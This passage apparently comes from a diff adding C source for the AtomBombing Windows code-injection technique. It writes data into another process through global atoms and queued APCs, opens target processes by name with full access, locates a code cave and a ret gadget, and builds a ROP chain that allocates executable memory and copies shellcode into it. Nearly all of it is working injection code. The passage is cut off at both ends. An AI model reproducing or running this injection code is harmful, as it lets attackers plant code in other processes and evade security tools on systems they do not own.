== pvFunctionAddress) + { + eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED; + goto lblCleanup; + } + + *ppvFunctionAddress = pvFunctionAddress; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_WasAtomWrittenSuccessfully( + ATOM tAtom, + PWSTR pswzExpectedBuffer, + PBOOL pbWasAtomWrittenSuccessfully + ) +{ + LPWSTR pswzCheckBuffer = NULL; + DWORD cbCheckBuffer = 0; + ESTATUS eReturn = ESTATUS_INVALID; + UINT uiRet = 0; + HMODULE hUser32 = NULL; + BOOL bWasAtomWrittenSuccessfully = FALSE; + + // If user32.dll is not loaded, the ATOM functions return access denied.For more details see : + // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html + hUser32 = LoadLibrary(L"user32.dll"); + if (NULL == hUser32) + { + goto lblCleanup; + } + + cbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR); + + pswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer); + if (NULL == pswzCheckBuffer) + { + printf("HeapAlloc failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError()); + eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED; + goto lblCleanup; + } + + uiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer); + if (0 == uiRet) + { + printf("GlobalGetAtomNameA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError()); + eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED; + goto lblCleanup; + } + + bWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer)); + + eReturn = ESTATUS_SUCCESS; + *pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully; + +lblCleanup: + if (NULL != pswzCheckBuffer) + { + HeapFree(GetProcessHeap(), 0, pswzCheckBuffer); + pswzCheckBuffer = NULL; + } + return eReturn; +} + +ESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom) +{ + ATOM tAtom = 0; + ESTATUS eReturn = ESTATUS_INVALID; + LPWSTR pswzCheckBuffer = NULL; + DWORD cbCheckBuffer = 0; + UINT uiRet = 0; + HMODULE hUser32 = NULL; + BOOL bWasAtomWrittenSuccessfully = FALSE; + + // If user32.dll is not loaded, the ATOM functions return access denied. For more details see : + // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html + hUser32 = LoadLibrary(L"user32.dll"); + + do + { + tAtom = GlobalAddAtomW(pswzBuffer); + if (0 == tAtom) + { + printf("GlobalAddAtomA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError()); + eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED; + goto lblCleanup; + } + + eReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + if (FALSE != bWasAtomWrittenSuccessfully) + { + break; + } + + for (int i = 0; i < 0x2; i++) + { + SetLastError(ERROR_SUCCESS); + GlobalDeleteAtom(tAtom); + if (ERROR_SUCCESS != GetLastError()) + { + eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED; + goto lblCleanup; + } + } + } while (FALSE == bWasAtomWrittenSuccessfully); + + + eReturn = ESTATUS_SUCCESS; + *ptAtom = tAtom; + +lblCleanup: + return eReturn; + +} + +ESTATUS main_NtQueueApcThreadWrapper( + HANDLE hThread, + PKNORMAL_ROUTINE pfnApcRoutine, + PVOID pvArg1, + PVOID pvArg2, + PVOID pvArg3 + ) +{ + HMODULE hNtDll = NULL; + HMODULE hKernel32 = NULL; + HMODULE hUser32 = NULL; + _NtQueueApcThread NtQueueApcThread = NULL; + NTSTATUS ntStatus = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + + // If user32.dll is not loaded, the ATOM functions return access denied. For more details see: + // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html + hUser32 = LoadLibrary(L"user32.dll"); + hKernel32 = GetModuleHandle(L"kernel32.dll"); + hNtDll = GetModuleHandle(L"ntdll.dll"); + + eReturn = GetFunctionAddressFromDll( + NTDLL, + NTQUEUEAPCTHREAD, + (PVOID *) &NtQueueApcThread + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + ntStatus = NtQueueApcThread( + hThread, + pfnApcRoutine, + pvArg1, + pvArg2, + pvArg3 + ); + if (0 != ntStatus) + { + printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus); + eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED; + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + + return eReturn; +} + +ESTATUS main_NtQueueApcThreadWaitForSingleObjectEx( + HANDLE hRemoteThread, + HANDLE hWaitHandle, + DWORD dwWaitMilliseconds, + BOOL bWaitAlertable + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + PKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL; + + eReturn = GetFunctionAddressFromDll( + KERNEL32, + WAITFORSINGLEOBJECTEX, + (PVOID *) &pfnWaitForSingleObjectEx + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = main_NtQueueApcThreadWrapper( + hRemoteThread, + pfnWaitForSingleObjectEx, + hWaitHandle, + (PVOID)dwWaitMilliseconds, + (PVOID)bWaitAlertable + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + + return eReturn; +} + +ESTATUS main_QueueUserApcWrapperAndKeepAlertable( + HANDLE hThread, + PAPCFUNC pfnAPC, + ULONG_PTR dwData + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + DWORD dwErr = FALSE; + + dwErr = SuspendThread(hThread); + if (((DWORD)-1) == dwErr) + { + eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED; + printf("SuspendThread failed. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + dwErr = QueueUserAPC(pfnAPC, hThread, dwData); + if (0 == dwErr) + { + eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED; + printf("SuspendThread failed. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( + hThread, + GetCurrentThread(), + 5000, + TRUE + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + dwErr = ResumeThread(hThread); + if (((DWORD)-1) == dwErr) + { + printf("ResumeThread failed. GLE: %d.", GetLastError()); + eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED; + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable( + HANDLE hThread, + PKNORMAL_ROUTINE pfnApcRoutine, + PVOID pvArg1, + PVOID pvArg2, + PVOID pvArg3 + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + DWORD dwErr = FALSE; + + dwErr = SuspendThread(hThread); + if (((DWORD)-1) == dwErr) + { + eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED; + printf("SuspendThread failed. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + eReturn = main_NtQueueApcThreadWrapper( + hThread, + pfnApcRoutine, + pvArg1, + pvArg2, + pvArg3 + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( + hThread, + GetCurrentThread(), + 5000, + TRUE + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + dwErr = ResumeThread(hThread); + if (((DWORD)-1) == dwErr) + { + printf("ResumeThread failed. GLE: %d.", GetLastError()); + eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED; + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle) +{ + ESTATUS eReturn = ESTATUS_INVALID; + + eReturn = main_QueueUserApcWrapperAndKeepAlertable( + hThread, + (PAPCFUNC)SetEvent, + (ULONG_PTR)hRemoteHandle + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext) +{ + PKNORMAL_ROUTINE pfnSetThreadContext = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + + eReturn = GetFunctionAddressFromDll( + NTDLL, + NTSETCONTEXTTHREAD, + (PVOID *) &pfnSetThreadContext + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + + eReturn = main_NtQueueApcThreadWrapper( + hThread, + pfnSetThreadContext, + GetCurrentThread(), + (PVOID)ptContext, + (PVOID)NULL + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + + return eReturn; +} + +ESTATUS main_DoesStringContainNullTerminatorW( + PVOID pvBuffer, + DWORD dwBufferSize, + PBOOL pbDoesStringContainUnicodeNullTerminator + ) +{ + PWCHAR pwcPos = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + + pwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL); + if (0 == pwcPos) + { + eReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED; + goto lblCleanup; + } + + if ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1)) + { + *pbDoesStringContainUnicodeNullTerminator = FALSE; + } + else + { + *pbDoesStringContainUnicodeNullTerminator = TRUE; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal( + HANDLE hThread, + PVOID pvBaseAddress, + PVOID pvBuffer, + DWORD dwBufferSize + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + DWORD dwIndex = 0; + HMODULE hKernel32 = NULL; + PKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL; + BOOL bDoesStringContainUnicodeNullTerminator = FALSE; + + + hKernel32 = GetModuleHandle(L"kernel32.dll"); + eReturn = GetFunctionAddressFromDll( + KERNEL32, + GLOBALGETATOMNAMEW, + (PVOID *) &pfnGlobalGetAtomNameW + ); + + eReturn = main_DoesStringContainNullTerminatorW( + pvBuffer, + dwBufferSize, + &bDoesStringContainUnicodeNullTerminator + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + if (FALSE != bDoesStringContainUnicodeNullTerminator) + { + eReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL; + goto lblCleanup; + } + + for (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR)) + { + ATOM tAtom = 0; + CHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 }; + DWORD cbBlockSize = 0; + + if ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR))) + { + cbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex); + } + else + { + cbBlockSize = sizeof(acBuffer) - sizeof(WCHAR); + } + + (VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize); + + eReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = main_NtQueueApcThreadWrapperAndKeepAlertable( + hThread, + pfnGlobalGetAtomNameW, + (PVOID)tAtom, + ((PUCHAR)pvBaseAddress) + dwIndex, + (PVOID)(cbBlockSize + sizeof(WCHAR)) + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + + return eReturn; +} + +ESTATUS main_IsProcessMemoryEqual( + HANDLE hProcess, + PVOID pvRemoteAddress, + PVOID pvExpectedBuffer, + DWORD cbExpectedBufferSize, + PBOOL pbIsMemoryEqual + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + PVOID pvTempBuffer = NULL; + DWORD dwNumberOfBytesRead = 0; + BOOL bErr = FALSE; + BOOL bIsMemoryEqual = FALSE; + + pvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize); + if (NULL == pvTempBuffer) + { + eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED; + goto lblCleanup; + } + + bErr = ReadProcessMemory( + hProcess, + pvRemoteAddress, + pvTempBuffer, + cbExpectedBufferSize, + &dwNumberOfBytesRead + ); + if (FALSE == bErr) + { + eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED; + printf("ReadProcessMemory error. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + if (dwNumberOfBytesRead != cbExpectedBufferSize) + { + eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH; + goto lblCleanup; + } + + if (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize)) + { + bIsMemoryEqual = TRUE; + } + + eReturn = ESTATUS_SUCCESS; + *pbIsMemoryEqual = bIsMemoryEqual; + +lblCleanup: + if (NULL != pvTempBuffer) + { + HeapFree(GetProcessHeap(), 0, pvTempBuffer); + pvTempBuffer = NULL; + } + + return eReturn; + +} + +ESTATUS main_ApcWriteProcessMemoryNullTerminated( + HANDLE hProcess, + HANDLE hThread, + PVOID pvBaseAddress, + PVOID pvBuffer, + DWORD dwBufferSize + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + BOOL bShouldStop = FALSE; + + do + { + eReturn = main_ApcWriteProcessMemoryNullTerminatedInternal( + hThread, + pvBaseAddress, + pvBuffer, + dwBufferSize + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + Sleep(100); + + eReturn = main_IsProcessMemoryEqual( + hProcess, + pvBaseAddress, + pvBuffer, + dwBufferSize, + &bShouldStop + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + if (FALSE == bShouldStop) + { + printf("[*] Data chunk written incorrectly, retrying...\n\n\n"); + } + + } while (FALSE == bShouldStop); + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_ApcWriteProcessMemoryInternal( + HANDLE hProcess, + HANDLE hThread, + PVOID pvBaseAddress, + PVOID pvBuffer, + DWORD dwBufferSize + ) +{ + PWCHAR pwcPos = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + PVOID pvTempBuffer = NULL; + PVOID pvLocalBufferPointer = pvBuffer; + PVOID pvRemoteBufferPointer = pvBaseAddress; + DWORD dwBytesWritten = 0; + + while (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize) + { + DWORD cbTempBufferSize = 0; + + pwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s( + (LPWSTR)pvLocalBufferPointer, + (dwBufferSize - dwBytesWritten) / sizeof(WCHAR) + ); + if (0 == pwcPos) + { + goto lblCleanup; + } + if (pvLocalBufferPointer == pwcPos) + { + pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL); + pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL); + dwBytesWritten += sizeof(UNICODE_NULL); + continue; + } + + cbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer; + + pvTempBuffer = HeapAlloc( + GetProcessHeap(), + HEAP_ZERO_MEMORY, + cbTempBufferSize + sizeof(UNICODE_NULL) + ); + if (NULL == pvTempBuffer) + { + goto lblCleanup; + } + + memcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize); + + eReturn = main_ApcWriteProcessMemoryNullTerminated( + hProcess, + hThread, + pvRemoteBufferPointer, + pvTempBuffer, + cbTempBufferSize + sizeof(UNICODE_NULL) + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize; + pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize; + dwBytesWritten += cbTempBufferSize; + + if (NULL != pvTempBuffer) + { + HeapFree(GetProcessHeap(), 0, pvTempBuffer); + pvTempBuffer = NULL; + + } + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + if (NULL != pvTempBuffer) + { + HeapFree(GetProcessHeap(), 0, pvTempBuffer); + pvTempBuffer = NULL; + } + + return eReturn; + + +} + +ESTATUS main_ApcWriteProcessMemory( + HANDLE hProcess, + HANDLE hThread, + PVOID pvBaseAddress, + PVOID pvBuffer, + DWORD dwBufferSize + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + BOOL bShouldStop = FALSE; + + do + { + eReturn = main_ApcWriteProcessMemoryInternal( + hProcess, + hThread, + pvBaseAddress, + pvBuffer, + dwBufferSize + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + Sleep(100); + + eReturn = main_IsProcessMemoryEqual( + hProcess, + pvBaseAddress, + pvBuffer, + dwBufferSize, + &bShouldStop + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + if (bShouldStop) + { + printf("[*] New verification: Data chunk written successfully.\n\n\n"); + break; + } + + printf("[*] New Verification: Data written incorrectly, retrying...\n\n\n"); + + } while (TRUE); + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; +} + +ESTATUS main_ApcSetThreadContext( + HANDLE hProcess, + HANDLE hThread, + PCONTEXT ptContext, + PVOID pvRemoteAddress + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + + eReturn = main_ApcWriteProcessMemory( + hProcess, + hThread, + (PVOID)((PUCHAR)pvRemoteAddress), + ptContext, + FIELD_OFFSET(CONTEXT, ExtendedRegisters) + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress)); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; + +} + +ESTATUS main_ApcCopyFunctionPointers( + HANDLE hProcess, + HANDLE hThread, + PVOID pvRemoteAddress + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + FUNCTIONPOINTERS tFunctionPointers = { 0 }; + + eReturn = GetFunctionAddressFromDll( + KERNEL32, + LOADLIBRARYA, + &tFunctionPointers.pfnLoadLibraryA + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = GetFunctionAddressFromDll( + KERNEL32, + GETPROCADDRESS, + &tFunctionPointers.pfnGetProcAddress + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = main_ApcWriteProcessMemory( + hProcess, + hThread, + pvRemoteAddress, + &tFunctionPointers, + sizeof(tFunctionPointers) + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; + +} + +ESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId) +{ + DWORD dwProcessId = 0; + HANDLE hSnapshot = NULL; + PROCESSENTRY32 pe = { 0 }; + ESTATUS eReturn = ESTATUS_INVALID; + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (NULL == hSnapshot) + { + eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR; + printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + pe.dwSize = sizeof(PROCESSENTRY32); + if (FALSE == Process32First(hSnapshot, &pe)) + { + eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR; + printf("Process32First error. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + do + { + if (NULL != wcsstr(pe.szExeFile, pszProcessName)) + { + dwProcessId = pe.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe)); + + if (0 == dwProcessId) + { + printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName); + eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND; + goto lblCleanup; + } + + printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId); + *pdwProcessId = dwProcessId; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot)) + { + CloseHandle(hSnapshot); + hSnapshot = NULL; + } + return eReturn; + +} + +ESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess) +{ + HANDLE hProcess = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + DWORD dwPid = 0; + + eReturn = main_GetProcessIdByName(pszProcessName, &dwPid); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + hProcess = OpenProcess( + PROCESS_ALL_ACCESS, + FALSE, + dwPid + ); + if (NULL == hProcess) + { + eReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR; + printf("OpenProcess error. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + printf("[*] Opened process's handle: %d (0x%X).\n\n\n", hProcess, hProcess); + *phProcess = hProcess; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + + return eReturn; +} + +ESTATUS main_GetSectionHeader( + HMODULE hModule, + PSTR pszSectionName, + PIMAGE_SECTION_HEADER *pptSectionHeader + ) +{ + PIMAGE_DOS_HEADER ptDosHeader = NULL; + PIMAGE_NT_HEADERS ptNtHeaders = NULL; + PIMAGE_SECTION_HEADER ptSectionHeader = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + BOOL bFound = FALSE; + + ptDosHeader = (PIMAGE_DOS_HEADER)hModule; + if (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic) + { + goto lblCleanup; + } + + ptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew); + if (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS))) + { + goto lblCleanup; + } + if (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature) + { + goto lblCleanup; + } + + ptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders); + + for (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++) + { + if (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME)) + { + bFound = TRUE; + break; + } + ptSectionHeader++; + } + + if (FALSE == bFound) + { + eReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND; + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + *pptSectionHeader = ptSectionHeader; + +lblCleanup: + return eReturn; +} + +ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave) +{ + PIMAGE_SECTION_HEADER ptSectionHeader = NULL; + PVOID pvCodeCave = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + HMODULE hNtDll = NULL; + + hNtDll = GetModuleHandleA("kernelbase.dll"); + if (NULL == hNtDll) + { + eReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED; + } + + eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + pvCodeCave = (PVOID) ( + (DWORD) hNtDll + + ptSectionHeader->VirtualAddress + + ptSectionHeader->SizeOfRawData + ); + + eReturn = ESTATUS_SUCCESS; + *ppvCodeCave = pvCodeCave; + +lblCleanup: + + return eReturn; +} + +ESTATUS main_FindRetGadget(PVOID *ppvRetGadget) +{ + PIMAGE_SECTION_HEADER ptSectionHeader = NULL; + PVOID pvCodeCave = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + HMODULE hNtDll = NULL; + PVOID pvRetGadget = NULL; + + hNtDll = GetModuleHandleA(NTDLL); + if (NULL == hNtDll) + { + eReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED; + } + + eReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + pvRetGadget = memchr( + hNtDll + ptSectionHeader->VirtualAddress, + X86_RET, + ptSectionHeader->SizeOfRawData + ); + if (NULL == pvRetGadget) + { + eReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND; + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + *ppvRetGadget = pvRetGadget; + +lblCleanup: + + return eReturn; +} +typedef struct _ROPCHAIN +{ + // Return address of ntdll!ZwAllocateMemory + PVOID pvMemcpy; + + // Params for ntdll!ZwAllocateMemory + HANDLE ZwAllocateMemoryhProcess; + PVOID ZwAllocateMemoryBaseAddress; + ULONG_PTR ZwAllocateMemoryZeroBits; + PSIZE_T ZwAllocateMemoryRegionSize; + ULONG ZwAllocateMemoryAllocationType; + ULONG ZwAllocateMemoryProtect; + + // Return address of ntdll!memcpy + PVOID pvRetGadget; + + // Params for ntdll!memcpy + PVOID MemcpyDestination; + PVOID MemcpySource; + SIZE_T MemcpyLength; + +} ROPCHAIN, *PROPCHAIN; + +ESTATUS main_BuildROPChain( + PVOID pvROPLocation, + PVOID pvShellcodeLocation, + PROPCHAIN ptRopChain + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + ROPCHAIN tRopChain = { 0 }; + + tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess(); + + tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET( + ROPCHAIN, + MemcpyDestination + ); + tRopChain.ZwAllocateMemoryZeroBits = NULL; + + tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET( + ROPCHAIN, + MemcpyLength) + ); + tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT; + tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE; + tRopChain.MemcpyDestination = (PVOID)0x00; + tRopChain.MemcpySource = pvShellcodeLocation; + tRopChain.MemcpyLength = sizeof(SHELLCODE); + + eReturn = GetFunctionAddressFromDll( + NTDLL, + MEMCPY, + &tRopChain.pvMemcpy + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + printf("ntdll!memcpy: 0x%X", tRopChain.pvMemcpy); + + // Find a ret instruction in order to finally jump to the + // newly allocated executable shellcode. + eReturn = main_FindRetGadget(&tRopChain.pvRetGadget); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + *ptRopChain = tRopChain; + +lblCleanup: + + return eReturn; + +} + +ESTATUS main_EnumProcessThreadIds( + HANDLE hProcess, + PDWORD *ppdwThreadIds, + PDWORD pcbThreadIdsSize, + PDWORD pdwNumberOfProcessThreads + ) +{ + HANDLE hSnapshot = NULL; + ESTATUS eReturn = ESTATUS_INVALID; + THREADENTRY32 tThreadEntry; + BOOL bErr = FALSE; + DWORD dwProcessId = 0; + PDWORD pdwThreadIds = NULL; + DWORD cbThreadIdsSize = 0; + DWORD dwNumberOfMatchingThreads = 0; + + dwProcessId = GetProcessId(hProcess); + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (INVALID_HANDLE_VALUE == hSnapshot) + { + goto lblCleanup; + } + + tThreadEntry.dwSize = sizeof(THREADENTRY32); + bErr = Thread32First(hSnapshot, &tThreadEntry); + if (FALSE == bErr) + { + goto lblCleanup; + } + + do + { + if (tThreadEntry.th32OwnerProcessID != dwProcessId) + { + continue; + } + + cbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID); + if (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize) + { + + pdwThreadIds = (PDWORD) HeapAlloc( + GetProcessHeap(), + HEAP_ZERO_MEMORY, + cbThreadIdsSize + ); + } + else + { + pdwThreadIds = (PDWORD) HeapReAlloc( + GetProcessHeap(), + HEAP_ZERO_MEMORY, + pdwThreadIds, + cbThreadIdsSize + ); + } + if (NULL == pdwThreadIds) + { + goto lblCleanup; + } + + pdwThreadIds[dwNumberOfMatchingThreads++] = 